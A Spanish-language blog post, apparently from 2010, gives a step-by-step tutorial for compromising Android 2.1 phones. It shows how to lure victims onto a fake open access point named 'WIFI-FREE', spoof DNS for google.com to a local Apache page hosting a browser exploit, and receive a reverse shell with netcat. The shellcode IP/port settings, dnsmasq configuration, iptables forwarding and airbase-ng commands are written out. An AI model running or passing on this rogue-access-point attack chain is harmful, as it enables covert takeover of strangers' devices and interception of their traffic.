La vulnerabilidad fue descubierta por M.J. Keith, quien también publicó un exploit durante una conferencia en Houston, y luego Itzhak Avraham, realizó algunas mejoras sobre el mismo para darle un mayor grado de éxito a la explotación.
Esta vulnerabilidad afecta a móviles Android versión 2.1 e inferiores, si bien la ultima versión 2.2 no esta afectada, no todos los fabricantes de móviles u operadores de telefonía, obligan a sus usuarios a actualizar el software.
Por ejemplo, en mi caso estoy usando un Motorola Milestone con Android 2.1-update1, y si bien la versión 2.2 esta disponible hace ya un buen tiempo, Motorola recién comenzará a realizar upgrades para Milestone en Latinoamérica en el primer trimestre del 2011.
Una vergüenza por parte de fabricantes y operadores!
Explotando Android
Para explotar esta vulnerabilidad, el móvil con Android debería visitar un sitio Web que posea el código malicioso.
Podríamos hacer esto en Internet, o como lo vamos a hacer a continuación, levantar un Access Point falso para darle Internet a personas con móviles, y cuando realicen una solicitud especifica de DNS, redirigirlos a una Web local con el código malicioso.
1. Preparando el Exploit
Bajamos el exploit y lo dejamos en el home de Apache con el nombre «index.html»:
nano /var/www/index.html
/etc/init.d/apache2 start
En las primeras líneas del exploit mejorado por Itzhak podemos encontrar la posibilidad de fácilmente cambiar la dirección IP y el puerto en el shellcode:
var ip = unescape(«\ua8c0\u0100»); // ip = 192.168.0.1
var port = unescape(«\u3930»); //port 12345 (hex(0x3039))
En este caso, una vez que la explotación sea exitosa, se va a producir una conexión reversa a la IP «192.168.0.1» en el puerto «12345», por lo que deberíamos dejar escuchando Netcat en ese puerto:
nc -l -p 12345 -n -vvv
listening on [any] 12345 …
2. Preparando el Access Point Falso
Con lo hecho en el paso anterior, ya estaríamos en condición de atacar exitosamente a una víctima si utilizáramos una dirección IP pública en Internet.
Pero la idea a continuación, es levantar un Access Point falso con airodump-ng para que las personas con móviles se asocien a el en busca de Internet gratis, y cuando realicen un pedido DNS especifico lo reenviemos a nuestro Apache con el código malicioso.
Primero vamos a configurar Dnsmasq, quien nos va a proveer el servicio de DNS y de DHCP para nuestro Access Point falso. Si no lo tenemos instalado, lo podemos hacer de la siguiente forma:
apt-get install dnsmasq
/etc/init.d/dnsmasq stop
Luego debemos asegurarnos de configurar en que interfaz de red va a escuchar Dnsmasq, configurar el rango de direcciones IP que entregará a las víctimas, y cual será el dominio que será redireccionado a nuestros Apache con el exploit, en este caso «google.com»:
nano /etc/dnsmasq.conf
interface=at0
dhcp-range=192.168.0.5,192.168.0.20,12h
address=/google.com/192.168.0.1
/etc/init.d/dnsmasq start
Si tenemos Internet, seria una buena idea forwardear todo el trafico para que la víctima crea que esta en una red Wireless común y corriente, y de paso tenemos la posibilidad de capturar algo de trafico:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Finalmente levantamos el Access Point falso con airabase-ng, y configuramos la interfaz de red «at0», creada por airbase-ng, con la dirección IP a donde se realizará la conexión reversa:
airbase-ng -C 30 –essid «WIFI-FREE» wlan0
ifconfig at0 192.168.0.1 netmask 255.255.255.0 up
En este caso, la red se llama «WIFI-FREE», aunque podríamos realizar otra variedad de ataques similares.
3. Atacando a la Víctima
Por mi experiencia con el Motorola Milestone, cuando encendemos la placa Wireless del móvil, hay que detectar las redes en el área, y conectarnos manualmente a la que queremos, mas halla de que este abierta y sin cifrado. Luego de hacer esto, la siguiente vez lo hace automáticamente.
Cuando la víctima esta conectada, el trafico de red pasara normalmente hasta que quiera ingresar a «www.google.com», en donde será redirigido a nuestro Apache y obtendremos una conexión reversa en el Netcat que dejamos escuchando:
Una vez que recibimos la conexión reversa podemos ejecutar comandos de Android como «/system/bin/id» o «/system/bin/ps» para verificar que efectivamente pudimos acceder al dispositivo.
Info relacionada:
– Exploit original por M.J. Keith
– Exploit modificado por Itzhak Avraham
Posts relacionados:
– Karmetasploit en BackTrack 4
– Jugando con AirPcap
Visto en: http://www.kungfoosion.com/2010/12/explotando-android-via-web-con-airodump.html